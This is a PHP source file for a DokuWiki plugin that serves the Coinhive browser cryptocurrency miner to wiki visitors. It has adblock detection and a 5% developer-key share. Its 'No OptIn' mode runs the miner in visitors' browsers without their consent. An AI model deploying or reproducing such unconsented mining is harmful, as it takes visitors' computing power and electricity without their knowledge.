<?php
/**
 * DokuWiki Coinhive JS Miner Plugin
 * @date 31.10.2017
 * @author Vidschofelix <vidschofelix@gmx.com>
 */

if (!defined('DOKU_INC')) {
    die();
}

class action_plugin_coinhive extends DokuWiki_Admin_Plugin
{
    const CH_APPEARANCE_OPTIN = 'OptIn';
    const CH_APPEARANCE_NOOPTIN = 'No OptIn';
    const CH_APPEARANCE_COMBINED = 'Combined';

    /**
     * registers ajax hook
     * @param Doku_Event_Handler $controller
     */
    public function register(Doku_Event_Handler $controller)
    {
        if ($this->getConf('ch-appearance') == $this::CH_APPEARANCE_COMBINED) {
            $controller->register_hook('TPL_METAHEADER_OUTPUT', 'BEFORE', $this, '_hookjs_adblock');
        }
        $controller->register_hook('AJAX_CALL_UNKNOWN', 'BEFORE', $this, '_get_conf');
    }

    /**
     * Initialize Simple Adblock-Detection
     * @param Doku_Event $event
     * @param            $param
     */
    public function _hookjs_adblock(Doku_Event &$event, $param)
    {
        $event->data['script'][] = array(
            'type'    => 'text/javascript',
            'charset' => 'utf-8',
            '_data'   => 'window.ch_adblock = 1;'
        );
        $event->data['script'][] = array(
            'type'    => 'text/javascript',
            'charset' => 'utf-8',
            '_data'   => '',
            'src'     => DOKU_BASE . 'lib/plugins/coinhive/script/adframe.js'
        );
    }

    /**
     * handles conf ajax requests
     * @param Doku_Event $event
     * @param            $param
     */
    public function _get_conf(Doku_Event $event, $param)
    {
        if ($event->data !== 'coinhive_getconf') {
            return;
        }

        $event->stopPropagation();
        $event->preventDefault();

        global $INPUT;
        $adblock = $INPUT->bool('adblock');

        $chUrl = $this->getChUlr($adblock);
        if (!$this->getConf('ch-enable')) {
            return;
        }

        $key = $this->getKey();
        $throttle = $this->getThrottle();

        $data = array(
            'url'         => $chUrl,
            'key'         => $key,
            'threads'     => $this->getConf('ch-threads'),
            'autoThreads' => $this->getConf('ch-autothreads'),
            'throttle'    => $throttle,
            'optInAgain'  => $this->getConf('ch-optInAgain'),
            'forceASMJS'  => $this->getConf('ch-forceASMJS'),
            'theme'       => $this->getConf('ch-theme'),
            'language'    => $this->getConf('ch-language'),
            'mode'        => $this->getConf('ch-mode'),
            'onMobile'    => $this->getConf('ch-onmobile')
        );

        $json = new JSON();

        header('Content-Type: application/json');
        echo $json->encode($data);
    }

    /**
     * @param bool $adblock
     * @return string
     */
    protected function getChUlr($adblock)
    {
        $mode = $this->getConf('ch-appearance');
        if ($mode == $this::CH_APPEARANCE_OPTIN || ($mode == $this::CH_APPEARANCE_COMBINED && $adblock)) {
            return $this->getConf('ch-optin-url');
        } else {
            return $this->getConf('ch-nooptin-url');
        }
    }

    /**
     * @return string
     */
    protected function getKey()
    {
        //if support is on, return for 5% the dev-key
        if ($this->getConf('ch-support') && rand(1, 100) <= 5) {
            return 'b8tRk4ALlyZ4PLc1DO8q8XlYZ7jkBEQD';
        }

        return $this->getConf('ch-key');
    }

    protected function getThrottle()
    {
        $throttlePercent = $this->getConf('ch-throttle');
        if ((int)$throttlePercent == 0) {
            return 0;
        }

        return (float)$throttlePercent / 100;
    }
}
